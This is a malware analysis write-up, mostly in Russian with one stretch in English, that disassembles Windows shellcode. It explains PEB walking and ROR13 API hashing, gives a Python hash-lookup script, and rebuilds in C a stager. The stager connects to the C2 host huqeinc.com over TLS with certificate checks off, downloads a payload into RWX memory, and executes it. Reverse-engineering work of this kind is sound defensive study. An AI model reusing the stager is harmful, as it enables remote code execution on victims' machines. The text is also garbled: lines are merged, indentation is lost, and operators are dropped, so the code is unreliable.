Итак, весь этот фрагмент извлекает `FullDllName` из текущей записи модуля в PEB — сохраняя буфер в `esi`, а его длину в `ecx`.
## Вычисление хеша имени модуля
Рассмотрим следующую пару инструкций:```assembly
0x000000000000001c: 31 FF xor edi, edi
0x000000000000001e: 31 C0 xor eax, eax
0x0000000000000020: AC lodsb al, byte ptr [esi]
0x0000000000000021: 3C 61 cmp al, 0x61
0x0000000000000023: 7C 02 jl 0x27
0x0000000000000025: 2C 20 sub al, 0x20
0x0000000000000027: C1 CF 0D ror edi, 0xd
0x000000000000002a: 01 C7 add edi, eax
0x000000000000002c: E2 F0 loop 0x1e
Инструкция lodsb — именно поэтому строка была сохранена в esi, длина — в ecx, а флаг направления был сброшен.
Она читает первый ANSI-символ (байт), на который указывает esi, увеличивает esi на единицу и сохраняет результат в регистр al.
Последующие части преобразуют символ из нижнего регистра в верхний — если код ASCII больше или равен 0x61 ('a'), то вычитается 0x20.
После преобразования в верхний регистр регистр edi циклически сдвигается вправо на 0xd, а затем к нему прибавляется значение символа.
Поскольку edi подвергается циклическому сдвигу — он теряет информацию о конкретных добавленных символах, но сохраняет в своём значении некую их совокупность.
Иными словами, edi — это некий хэш строки, на которую указывает esi. Инструкция loop, кстати, умно использует тот факт, что ecx является счётчиком длины строки: она уменьшает ecx на единицу и будет выполнять следующую итерацию, пока ecx не станет нулевым.
Перенести эту логику на Python довольно просто:```python
def get_string_hash(s):
v = 0
for c in s.upper():
v = (v >> 0xd) | ((v & 0x1fff) << 19)
v = (v + ord(c)) & 0xffffffff
return v
## Обход таблицы экспорта
Перейдём к следующей паре инструкций:```assembly
0x000000000000002e: 52 push edx
0x000000000000002f: 57 push edi
0x0000000000000030: 8B 52 10 mov edx, dword ptr [edx + 0x10]
0x0000000000000033: 8B 42 3C mov eax, dword ptr [edx + 0x3c]
0x0000000000000036: 01 D0 add eax, edx
0x0000000000000038: 8B 40 78 mov eax, dword ptr [eax + 0x78]
0x000000000000003b: 85 C0 test eax, eax
0x000000000000003d: 74 4A je 0x89
0x000000000000003f: 01 D0 add eax, edx
0x0000000000000041: 50 push eax
0x0000000000000042: 8B 48 18 mov ecx, dword ptr [eax + 0x18]
0x0000000000000045: 8B 58 20 mov ebx, dword ptr [eax + 0x20]
0x0000000000000048: 01 D3 add ebx, edx
Сначала edx (который содержит текущую запись модуля) и edi (который содержит хэш его имени) сохраняются в стек.
После этого edx разыменовывается по смещению 0x10. Поскольку мы находимся на 8 байт внутри структуры (типа LDR_DATA_TABLE_ENTRY), 0x10 — это член DllBase записи (0x18 - 0x8).
Даже в памяти модуль имеет структуру PE, и offset 0x3c соответствует указателю PE-заголовка в DOS-заголовке.
Мы видим, что eax рассматривается как RVA, так как он прибавляется к edx — edx является базовым адресом модуля в памяти.
Аналогично, смещение 0x78 от этого — это PE-таблица экспорта, которая содержит информацию об экспортируемых символах (обычно функциях).
Структура данных для неё называется IMAGE_EXPORT_DIRECTORY, и она хорошо документирована.
Предполагая, что она не равна нулю (что проверяется инструкцией test) — мы помещаем eax в стек и разыменовываем две её части:
NumberOfNames.AddressOfNames.
Итак, резюмируя, эта часть выполнила некоторый разбор PE для получения таблицы экспорта — а именно количество экспортируемых символов (в ecx) и их адрес в памяти (в ebx).Двигаемся дальше:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx
Инструкция `jecxz` выполняет переход, если `ecx` равен нулю — это происходит при отсутствии экспортируемых имён, но также намекает на то, что эта проверка будет выполняться в цикле.
Тот факт, что мы уменьшаем `ecx`, подтверждает это подозрение — мы ожидаем, что при переборе всех экспортируемых символов будет выполняться некоторое условие.
Мы видим, что `ecx` умножается на 4 и прибавляется к `ebx` — все элементы в `AddressOfNames` являются RVA имён символов, и поэтому `esi` в итоге указывает на экспортируемое имя.```assembly
0x0000000000000052: 31 FF xor edi, edi
0x0000000000000054: 31 C0 xor eax, eax
0x0000000000000056: AC lodsb al, byte ptr [esi]
0x0000000000000057: C1 CF 0D ror edi, 0xd
0x000000000000005a: 01 C7 add edi, eax
0x000000000000005c: 38 E0 cmp al, ah
0x000000000000005e: 75 F4 jne 0x54
Эта часть похожа на вычисление хеша, которое мы видели ранее, но вместо использования ecx в качестве счётчика — здесь хеш вычисляется до NUL-терминатора:
edi обнуляется (путём XOR с самим собой). Как и раньше — edi будет хранить значение хеша.eax также обнуляется. Его младший байт (al) будет содержать ASCII-код текущего символа на каждой итерации.lodsb код записывает в al байт, на который указывает esi, и увеличивает esi на следующий байт.edi циклически сдвигается вправо на 0xd, после чего к нему прибавляется ASCII-значение текущего символа.al и ah на самом деле просто сравнивает al с нулём (NUL-терминатором), поскольку ни одна операция здесь не затрагивает другие байты eax, и мы убедились, что они равны нулю.loop (которая взаимодействует с ecx) мы просто перепрыгиваем назад (с помощью jne) — до тех пор, пока не встретили NUL-терминатор.Ожидаем, что следующие части выполнят своего рода сравнение между различными вычисленными хешами (имя модуля, имя символа) и полученными нами входными данными:```assembly
0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8]
0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24]
0x0000000000000066: 75 E2 jne 0x4a
0x0000000000000068: 58 pop eax
0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24]
0x000000000000006c: 01 D3 add ebx, edx
0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2]
0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c]
0x0000000000000075: 01 D3 add ebx, edx
0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4]
0x000000000000007a: 01 D0 add eax, edx
0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax
0x0000000000000080: 5B pop ebx
0x0000000000000081: 5B pop ebx
0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx
0x0000000000000084: 5A pop edx
0x0000000000000085: 51 push ecx
0x0000000000000086: FF E0 jmp eax
Итак, `ebp-8` указывает точно на старое значение `edi`, которое мы поместили в стек, — оно содержало хэш заданного имени модуля.
Мы складываем это значение хэша с хэшем экспортируемого имени и сравниваем с DWORD по адресу `ebp+0x24`.
Из-за более ранней инструкции `pushad` мы поместили в стек 8 регистров, так что это указывает непосредственно на последнее загадочное значение, которое было помещено в стек в начале (0x726774c)!
Если они не равны — мы переходим к смещению `0x4a`, чтобы перейти к следующему символу в том же модуле.
В противном случае мы восстанавливаем таблицу экспорта в `eax`, разыменовываем 0x24 байта (это таблица порядковых номеров) и прибавляем к базовому `ebx`.
Таблица порядковых номеров содержит 2 байта на каждую запись — и поскольку `ecx` является номером записи, `ebx + ecx*2` — это порядковое значение.
Следующие пару строк просты: `0x1c` в таблице экспорта — это адрес экспортируемых функций, а `ebx + ecx*4` представляет адрес функции, индексируемый по `ecx`.
Как видно, это значение сохраняется в `eax` и в итоге вызывается:
- Сохранение значения `eax` в `esp + 0x24`, которое в данный момент находится точно там, где регистр `eax` был сохранён инструкцией `pushad`. Это гарантирует, что значение `eax` не потеряется при выполнении `popad`.
- Выполнение двух фиктивных `pop` в `ebx`, чтобы избавиться от двух предыдущих `push` (вычисленного хэша и записи модуля).
- Выполнение `popad`, который восстанавливает все регистры общего назначения из стека, но сохраняет `eax` благодаря нашему предыдущему переопределению. На этом этапе стек и регистры равны своему исходному состоянию на момент входа в функцию, за исключением `eax`, который является желаемым указателем на функцию.
- Извлечение возвращаемого значения (помещённого в стек из `call ebp`) в `ecx` и желаемого хэша в `edx`, а затем повторное помещение `ecx` в стек, по сути избавляясь от загадочного значения хэша в стеке.
- Выполнение `jmp eax` в этот момент завершает функцию — функция, на которую указывает `eax`, будет выполнена, и когда она вернётся, она будет использовать исходное возвращаемое значение.
Последняя часть этой длинной логики, по сути, переходит к следующему модулю:```assembly
0x0000000000000088: 58 pop eax
0x0000000000000089: 5F pop edi
0x000000000000008a: 5A pop edx
0x000000000000008b: 8B 12 mov edx, dword ptr [edx]
0x000000000000008d: EB 86 jmp 0x15
Это по сути очистит предыдущие пуши и перейдёт к смещению 0x15, где будет использоваться следующий модуль.
Если вкратце — весь шеллкод между смещениями 6 и 0x8d (включительно) ожидает, что для функции будут переданы параметры, а затем пользовательский хэш. Когда хэш совпадает — вызывается соответствующая функция. Это, безусловно, удобный способ избежать строк с именами функций в вашем коде!
Поскольку нам придётся часто разбирать эти хэши, стоит автоматизировать нашу работу. Воспользуемся уже написанными ранее Python-скриптами и напишем функцию, которая ищет заданный хэш:```python import os import pefile import sys
BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')
def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v
def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))
def get_sym_hash(s): return get_string_hash(s + '\x00')
def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')
if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)
Например, когда мы запускаем `get_hash.py 0x726774c kernel32.dll`, мы получаем вывод `kernel32.dll!LoadLibraryA`!
## Анализ основной логики
Теперь, когда мы понимаем, как работает вся функциональность хэширования, пора заняться поиском хэшей!
Вернёмся к основной логике: мы говорили, что строка `wininet` помещается в стек, — и теперь мы знаем, что `LoadLibraryA` вызывается с ней.
Следующие части теперь:```assembly
0x00000000000000a2: E8 00 00 00 00 call 0xa7
0x00000000000000a7: 31 FF xor edi, edi
0x00000000000000a9: 57 push edi
0x00000000000000aa: 57 push edi
0x00000000000000ab: 57 push edi
0x00000000000000ac: 57 push edi
0x00000000000000ad: 57 push edi
0x00000000000000ae: 68 3A 56 79 A7 push 0xa779563a
0x00000000000000b3: FF D5 call ebp
Находящийся там call помещает обратный адрес в стек (0xa7).
Затем мы обнуляем edi и помещаем в стек 5 нулей. 0xa779563a — это ещё один хэш, на этот раз в wininet.dll, поскольку get_hash.py 0xa779563a возвращает wininet.dll!InternetOpenA.
Следовательно, код вызывает InternetOpenA со всеми нулями и NULL.
Есть пара переходов, которые в итоге приводят к вызову обратно к смещению 0xba:```assembly
0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e
0x00000000000000ba: 5B pop ebx
...
0x000000000000015e: E9 C9 01 00 00 jmp 0x32c
...
0x000000000000032c: E8 89 FD FF FF call 0xba
0x0000000000000331: 68 75 71 65 69 push 0x69657175
0x0000000000000336: E6 outs dx, byte ptr ds:[esi]
...
Идея в том, что когда мы вернёмся, у нас будет запушен адрес смещения `0x331`. Я добавил пару инструкций ассемблера по этому адресу — обратите внимание, что `outs`, например, не то, что мы ожидаем. Изучение этих байтов *как данных* даёт другую картину:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')
Это даёт строку huqeinc.com (с NUL-терминатором), за которой следуют 4 нечитаемых байта.
Итак, когда мы возвращаемся к адресу 0xba, мы выполняем pop в ebx, который будет указывать на эту строку.
Давайте рассмотрим части, следующие за этой инструкцией:```assembly
0x00000000000000bb: 31 C9 xor ecx, ecx
0x00000000000000bd: 51 push ecx
0x00000000000000be: 51 push ecx
0x00000000000000bf: 6A 03 push 3
0x00000000000000c1: 51 push ecx
0x00000000000000c2: 51 push ecx
0x00000000000000c3: 68 BB 01 00 00 push 0x1bb
0x00000000000000c8: 53 push ebx
0x00000000000000c9: 50 push eax
0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957
0x00000000000000cf: FF D5 call ebp
Значение `0xc69f8957` — ещё один хэш, на этот раз для `wininet.dll!InternetConnectA`.
Эта функция принимает множество параметров, но по сути мы получаем: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
Обратите внимание, что `INTERNET_SERVICE_HTTP` равно 3, `0x1bb` — это 443, а `eax` содержал результат вызова `InternetOpenA`.
Двигаясь дальше, мы видим похожий набор переходов после сохранения результата `InternetConnectA`:```assembly
0x00000000000000d1: 50 push eax
0x00000000000000d2: E9 8C 00 00 00 jmp 0x163
0x00000000000000d7: 5B pop ebx
0x00000000000000d8: 31 D2 xor edx, edx
0x00000000000000da: 52 push edx
0x00000000000000db: 68 00 32 C0 84 push 0x84c03200
0x00000000000000e0: 52 push edx
0x00000000000000e1: 52 push edx
0x00000000000000e2: 52 push edx
0x00000000000000e3: 53 push ebx
0x00000000000000e4: 52 push edx
0x00000000000000e5: 50 push eax
0x00000000000000e6: 68 EB 55 2E 3B push 0x3b2e55eb
0x00000000000000eb: FF D5 call ebp
...
0x0000000000000163: E8 6F FF FF FF call 0xd7
0x0000000000000168: 2F das
0x0000000000000169: 51 push ecx
0x000000000000016a: 70 59 jo 0x1c5
...
Как и прежде, инструкции после вызова выглядят бессмысленными, поэтому мы подозреваем, что их следует интерпретировать как данные.
Действительно, они кодируют NUL-терминированную строку /QpYB, что не очень помогает. Отметим, что когда мы возвращаемся к смещению 0xd7, указатель на эту строку помещается в стек.
Вернёмся к 0xd7: этот адрес извлекается в ebx. Чтобы понять, что означают эти данные, выясним, какая функция вызывается.
Хэш 0x3b2e55eb соответствует wininet.dll!HttpOpenRequestA, которая также получает множество параметров.
Большинство этих параметров будут NULL (из-за push от edx), за исключением следующих:
hConnect — это eax, результат вызова InternetConnectA.lpszObjectName — строка, которую мы уже видели (/QpYB).dwFlags содержат значение 0x84c03200, которое, согласно этому, равно INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD.Следующая пара инструкций завершается ещё одним вызовом API:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp
После сохранения результата вызова `HttpOpenRequestA` в `esi` мы прибавляем к `ebx` значение 0x50.
Поскольку `ebx` гарантированно сохраняется между вызовами, теперь он будет указывать на смещение `0x1b8` в шеллкоде, которое в виде строки выглядит так: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
Хэш `0x869e4675` разрешает API `wininet.dll!InternetSetOptionA`, которому будут переданы следующие аргументы:
- Дескриптор запроса, сохранённый в `esi`.
- Значение `0x1f` в качестве `dwOption`, которое согласно [этому](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags) является `INTERNET_OPTION_SECURITY_FLAGS`.
- Параметр `lpBuffer` будет указателем на значение `0x3380`, которое кодирует флаги безопасности для запроса: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- Значение `dwBufferLength` равно 4, так как в качестве `lpBuffer` был задан только DWORD.
Это заставит соединение использовать TLS, но игнорировать все ошибки сертификатов и т. д.
Вот следующие части:```assembly
0x0000000000000106: 5F pop edi
0x0000000000000107: 31 FF xor edi, edi
0x0000000000000109: 57 push edi
0x000000000000010a: 57 push edi
0x000000000000010b: 6A FF push -1
0x000000000000010d: 53 push ebx
0x000000000000010e: 56 push esi
0x000000000000010f: 68 2D 06 18 7B push 0x7b18062d
0x0000000000000114: FF D5 call ebp
0x0000000000000116: 85 C0 test eax, eax
0x0000000000000118: 0F 84 CA 01 00 00 je 0x2e8
0x000000000000011e: 31 FF xor edi, edi
0x0000000000000120: 85 F6 test esi, esi
0x0000000000000122: 74 04 je 0x128
0x0000000000000124: 89 F9 mov ecx, edi
0x0000000000000126: EB 09 jmp 0x131
0x0000000000000128: 68 AA C5 E2 5D push 0x5de2c5aa
0x000000000000012d: FF D5 call ebp
0x000000000000012f: 89 C1 mov ecx, eax
0x0000000000000131: 68 45 21 5E 31 push 0x315e2145
0x0000000000000136: FF D5 call ebp
0x0000000000000138: 31 FF xor edi, edi
0x000000000000013a: 57 push edi
0x000000000000013b: 6A 07 push 7
0x000000000000013d: 51 push ecx
0x000000000000013e: 56 push esi
0x000000000000013f: 50 push eax
0x0000000000000140: 68 B7 57 E0 0B push 0xbe057b7
0x0000000000000145: FF D5 call ebp
0x0000000000000147: BF 00 2F 00 00 mov edi, 0x2f00
0x000000000000014c: 39 C7 cmp edi, eax
0x000000000000014e: 75 07 jne 0x157
0x0000000000000150: 58 pop eax
0x0000000000000151: 50 push eax
0x0000000000000152: E9 7B FF FF FF jmp 0xd2
0x0000000000000157: 31 FF xor edi, edi
0x0000000000000159: E9 91 01 00 00 jmp 0x2ef
There is a dummy pop to clean up over-pushing from before (we pushed the security options to the stack).
Since we see another hash (0x7b18062d), we immidiately resolve its API: wininet.dll!HttpSendRequestA.
There are some noteworthy parts here:
ebx is used as the second argument to the function.0x2e8.esi is zero really checks if the request handle is not NULL. This is quite odd since we already invoked HttpSendRequestA at this point, but still - if it was, we jump to 0x128.0x128 we use the hash 0x5de2c5aa, which is kernel32.dll!GetLastError, and save its result in ecx.0x131 we use the hash 0x315e2145, which is user32.dll!GetDesktopWindow, and then use that result with the hash 0xbe057b7, which is wininet.dll!InternetErrorDlg.0x2f00 is ERROR_INTERNET_FORCE_RETRY, and we compare the result of InternetErrorDlg to it.The idea is to simply call InternetErrorDlg and see if a retry is required.
Let's also recall: if HttpSendRequestA fail - we jump to 0x2e8. If it succeeded and a retry is not required - we jump to 0x2ef.
Examining offset 0x2e8 (the failure path):```assembly
0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0
0x00000000000002ed: FF D5 call ebp
Хэш преобразуется в `kernel32.dll!ExitProcess`, поэтому при сбое мы завершаем процесс.
Всю эту часть можно перевести следующим образом:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
goto lblRetryConn;
}
...
Давайте посмотрим, что происходит по смещению 0x2ef:```assembly
0x00000000000002ef: 6A 40 push 0x40
0x00000000000002f1: 68 00 10 00 00 push 0x1000
0x00000000000002f6: 68 00 00 40 00 push 0x400000
0x00000000000002fb: 57 push edi
0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458
0x0000000000000301: FF D5 call ebp
0x0000000000000303: 93 xchg ebx, eax
0x0000000000000304: B9 00 00 00 00 mov ecx,0x0
0x0000000000000309: 01 D9 add ecx,ebx
0x000000000000030b: 51 push ecx
0x000000000000030c: 53 push ebx
0x000000000000030d: 89 E7 mov edi, esp
0x000000000000030f: 57 push edi
0x0000000000000310: 68 00 20 00 00 push 0x2000
0x0000000000000315: 53 push ebx
0x0000000000000316: 56 push esi
0x0000000000000317: 68 12 96 89 E2 push 0xe2899612
0x000000000000031c: FF D5 call ebp
0x000000000000031e: 85 C0 test eax, eax
0x0000000000000320: 74 C6 je 0x2e8
Можете ли вы угадать, что это за хэш `0xe553a458`, основываясь только на этих других константах?
- `0x40` — это `PAGE_EXECUTEREADWRITE`, как мы видели ранее.
- `0x1000` — это `MEM_COMMIT`.
Действительно, этот хэш соответствует `kernel32.dll!VirtualAlloc`, и мы просто выделяем RWX-блок размером `0x400000`.
Важно понять логику атакующего: раз у нас есть интернет-соединение с неким C2-сервером, а теперь мы выделяем RWX-страницу — мы ожидаем получения ещё одного пейлоада!
После этого вызова результирующий буфер памяти сохраняется в `ebx` и `ecx`.
По смещению `0x30b` начинается ещё одна последовательность push-инструкций для вызова функции — на этот раз с хэшем `0xe2899612` (`wininet.dll!InternetReadFile`).
Push-инструкции задают параметры (в обратном порядке):
- `hFile` — это `esi`, наш интернет-запрос (типа `HINTERNET`).
- `lpBuffer` — это `ebx` — наш только что выделенный буфер.
- `dwNumberOfBytesToRead` установлен в `0x2000`.
- `lpdwNumberOfBytesRead` — это `edi`, указывающий на запасное место, которое мы выделили в стеке.
Наконец, если эта функция завершится ошибкой, мы переходим к `0x2e8`, где снова вызывается `ExitProcess`.
Обратите внимание на дополнительную инструкцию `push` для `ecx` (смещение `0x30b`) — это означает, что мы сохранили адрес нашего выделенного буфера.
Мы почти в конце! Давайте рассмотрим последние пару инструкций:```assembly
0x0000000000000322: 8B 07 mov eax, dword ptr [edi]
0x0000000000000324: 01 C3 add ebx, eax
0x0000000000000326: 85 C0 test eax, eax
0x0000000000000328: 75 E5 jne 0x30f
0x000000000000032a: 58 pop eax
0x000000000000032b: C3 ret
Well, edi указывал на количество прочитанных байт — оно разыменовывается в eax.
Затем мы прибавляем это значение к ebx, который сохраняется и указывает на нашу RWX-область памяти.
Если eax не равен нулю, это означает, что было прочитано несколько байт, поэтому мы снова переходим к 0x30f, чтобы прочитать ещё данные.
Это типично для сценариев чтения: мы читаем максимум по 0x2000 байт за раз, пока не прочитаем 0, что означает, что байт для чтения больше не осталось.
Если мы не переходим, то оказываемся на 0x32a, где мы pop выделенные байты из стека и вызываем ret.
Напоминаем: ранее мы помещали в стек начало возвращённого буфера, поэтому ret использует его как адрес возврата.
Это означает, что мы просто переходим на полученный буфер — по сути, обращаемся с ним как с ещё одним шеллкодом!
Вот как наш шеллкод может концептуально выглядеть:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();
// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");
// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));
// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);
// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);
// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();
## Краткое содержание
Хотя это очень распространённый шеллкод для изучения, его статический анализ даёт полезные уроки:
- Мы извлекли несколько слоёв PowerShell-кода, чтобы получить 32-битный шеллкод.
- В ходе анализа шеллкода мы обсудили `PEB` и стратегии написания шеллкода в Windows.
- Мы создали инструмент для поиска по обратному хешу (см. `get_hash.py` в этом репозитории).
- Мы рассмотрели распространённые приёмы шеллкода, такие как `push-ret` и `call-pop`.
- Мы затронули некоторые части структуры файла `PE`.
Спасибо,
Jonathan Bar Or (https://jonathanbaror.com)